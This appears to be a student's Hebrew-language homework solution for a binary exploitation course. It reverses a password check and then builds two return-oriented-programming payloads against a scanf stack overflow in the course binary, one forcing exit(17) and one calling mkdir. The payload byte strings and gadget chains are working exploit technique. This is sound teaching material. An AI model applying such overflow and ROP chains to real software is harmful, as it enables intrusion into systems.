חלק א' –

1. ישנם 9 Program headers המוגדרים בקובץ .
2. טבלה:

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| הרשאות | גודל בזכרון | גודל בקובץ | כתובת בזכרון | Offset | מס' |
| READ,EXECUTE | 0x1ee4 | 0x1ee4 | 0x400000 | 0x0 | 1 |
| READ,WRITE | 0x250 | 0x248 | 0x602e10 | 0x2e10 | 2 |

1. ערך הבייט בכתובת 0x40108d בתחילת ריצת התוכנית הוא : **0x51=91**
2. Unsigned long foo=0x**342383e382d4**
3. להלן הקוד בשפת C :( שימו לב להערה בשורה 18) :

Text

Description automatically generated

6 . הסיסמא הינה “konnichiwa” ,

**הסבר**: היא מתקבלת ע"י ביצוע התהליך ההפוך שקורה ב check\_password על foo ( נניח ע"י מציאת השארית בחלוקה מ26 של foo ,החסרת הערך מfoo ,הוספת התו ‘a’ לשארית החלוקה,הדפסת התו המתקבל למסך ,ואז חלוקה של foo ב26 וכך הלאה עד שהערך של foo הוא 0 ( , הסיסמא במקרה הזה תודפס בסדר הפוך.

להלן הפונקציה אותה מימשתי על מנת לבצע את התהליך ההפוך

Text

Description automatically generated

הצבת foo בערך של הפונקציה תניב את התוצאה הבאה : Text

Description automatically generated

כאשר foo הוא המשתנה שמצאנו בסעיפים הקודמים.

תרגיל בית 3 – חלק ב'

1. הבעיה בקריאה לפונקציה scanf היא שהקלט אותו מכניס המשתמש יכול להיות גדול מגדול ה-buffer ובכך לדרוס ערכים קודמים במחסנית בעת כתיבתו אליה (שכן קריאה מתבצעת לכתובת זיכרון והשימוש הסטנדרטי הוא במחסנית), דבר שעלול להוביל להתנהגות בלתי מוגדרת.
2. הכתובת תהיה ערך ה-ascii של התווים "mMnNoOpP", כלומר, **0x50704f6f4e6e4d6d (**בסדר הפוך כי הכתיבה למחסנית נעשית מלמטה למעלה) וזה מפני שמכיוון שגודל ה-buffer המוקצה על המחסנית יהיה 24 בייטים לפני מה שמוקצה על ב-main. לכן 24 הבייטים הראשונים ישמרו על מקומות אלה והשמונה שיבואו אחרים ידרסו את הערך אליו אמורה התוכנית לחזור.

|  |  |  |
| --- | --- | --- |
| **כתובת** | **קידוד** | **פקודות** |
| 0x401d13 | 5f  c3 | pop %rdi  ret |
| 0x400e2c | 58  c3 | Pop %rax  ret |
| 0x40114f | 0f 05 | syscall |
| 0x401d11 | 5e  41 5f  c3 | pop %rsi  pop %r15  ret |
| 0x400624 | 55  bf 20 2e 60 00  48 89 e5  ff d0 | push %rbp  mov $0x602e20, %edi  mov %rsp, %rbp  call \*%rax |
| 0x4008bc | 4c 01 ff  c3 | add %r15, %rdi  ret |

1. הטבלה:
2. בעת הרצת התוכנית, נכניס לסיסמה את המחרוזת הבאה:
3. Aaaaaaaaaaaaaaa\0x00\x00\x00\x00\x00\x00\x00\x00\x00
4. \x13\x1d\x40\x00\x00\x00\x00\x00
5. \x11\x00\x00\x00\x00\x00\x00\x00
6. \x2c\x0e\x40\x00\x00\x00\x00\x00
7. \x3c\x00\x00\x00\x00\x00\x00\x00
8. \x4f\x11\x40\x00\x00\x00\x00\x00

רעיון: נרצה לשנות את ערך rdi להיות 17, את ערך rax ל- 60 ואז לקרוא ל-syscall שאנו יודעים באיזה כתובת הוא בזיכרון מהטבלה ובכך נשיג את המטרה הכוללת.

צעדים - נכניס למחסנית בעת קריאת הסיסמה את הדברים כך שיתקיימו הבאים:

* 1. הכנסת 24 תווים ראשונים כלשהם שידרסו את הערכים על המחסנית.
  2. הכנסת הכתובת 0x401d13 כך שנקפוץ אחרי קריאת הסיסמה לכתובת, שם בעת ביצוע pop %rdi נעדכן את rdi להיות 0x11=17.
  3. נקפוץ ב-ret שבא אחרי הפקודה הקודמת לכתובת 0x400e2c.
  4. בעת ביצוע פקודת pop %rax נעדכן את ערכו להיות 60=0x3c.
  5. נקפוץ ב-ret לכתובת 0x40114f ונבצע את הקריאה ל-syscall.
  6. Text

     Description automatically generatedסיום התוכנית.

1. בעת הרצת התוכנית, נכניס לסיסמה את המחרוזת הבאה:
2. “my\_first\_expliot”\x00\x00\x00\x00\x00\x00\x00\x00
3. \x2c\x0e\x40\x00\x00\x00\x00\x00
4. \x11\x1d\x40\x00\x00\x00\x00\x00
5. \x24\x06\x40\x00\x00\x00\x00\x00
6. \x2c\x0e\x40\x00\x00\x00\x00\x00
7. \x11\x1d\x40\x00\x00\x00\x00\x00
8. \x24\x06\x40\x00\x00\x00\x00\x00
9. \x13\x1d\x40\x00\x00\x00\x00\x00
10. \xd8\xff\xff\xff\xff\xff\xff\xff
11. \xbc\x08\x40\x00\x00\x00\x00\x00
12. \x11\x1d\x40\x00\x00\x00\x00\x00
13. \xed\x01\x00\x00\x00\x00\x00\x00
14. \xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa
15. \x2c\x0e\x40\x00\x00\x00\x00\x00
16. \x53\x00\x00\x00\x00\x00\x00\x00
17. \x4f\x11\x40\x00\x00\x00\x00\x00

רעיון: נרצה לשנות את ערכי הפרמטרים המועברים לקריאת מערכת כך שהיא תיצור את התיקייה הרצויה. לשם כך נכניס את הערכים הבאים: rax = 83, rsi = 0755, rdi = adders on the stack of the new directory name. נעשה זאת בצעדים הבאים בעת קריאת הסיסמה:

1. הכנסת שם התיקייה החדשה על המחסנית “my\_first\_exploit\0” + 7 תווים כלשהם + הכתובת 0x400e2c, אליה נקפוץ אחרי קריאת הסיסמה.
2. הכנסת הכתובת 0x401d11 שיעלה לתוך rax בעת ביצוע pop rax ומשם לקפוץ לכתובת 0x400624 (שתוכנס לאחר הכתובת 0x401d11 על המחסנית).
3. ב- 4 הפעולות הבאות, נתייחס ל-push %rbp אשר תשנה את rsp הנוכחי ול-mov %rsp, %rbp אשר תעביר את rsp **החדש,** בו שמורה כתובת המחזרות שאנו רוצים בתור שם התיקייה + 40, ל-rbp.
4. לאחר מכן, נקפוץ לכתובת 0x401d13 אשר תעביר את הערך הקודם של rbp לr15- דרך pop r15, ואת הערך של return value שנכנס ב- call rax נכניס ל-rdi דרך pop rdi. אז נחזור שוב לכתובת 0x400e2c.
5. כעת נעדכן את ערך rax להיות הכתובת 0x401d13 אליה נעבור אחרי הקפיצה שתתבצע בכתובת 0x400624 בה נבצע את הפקודות הבאות:
6. כעת כאשר נעשה שוב push %rbp, הערך שיכנס הוא הכתובת של המחזרות הרצויה. משם נקפוץ שוב לכתובת 0x401d11 שכבר מאותחל ב-rax.
7. נבצע pop %r15 ובכך נקבל ב- r15 את הכתובת של המחזרות + 40.
8. משם נקפוץ עם ret לכתובת 0x401d13 ונכניס ב-rdi את הערך =0xffffffd840-. משם נקפוץ לכתובת 0x4008bc.
9. בכתובת זה תתבצע הפקודה add %r15, %rdi ובכך נקבל ב-rdi את כתובת המחזורת הרצויה. משם נקפוץ לכתובת 0x401d11.
10. כעת נעדכן את rsi להיות 0755=0x1ed ונכניס ל-r15 ערך זבל. משם נקפוץ לכתובת 0x400e2c.
11. כעת נעדכן את ערך rax להיות 83=0x53 (לקריאת המערכת mkdir) ונקפוץ ל-0x40114f שם נבצע syscall.
12. נסיים את הריצה.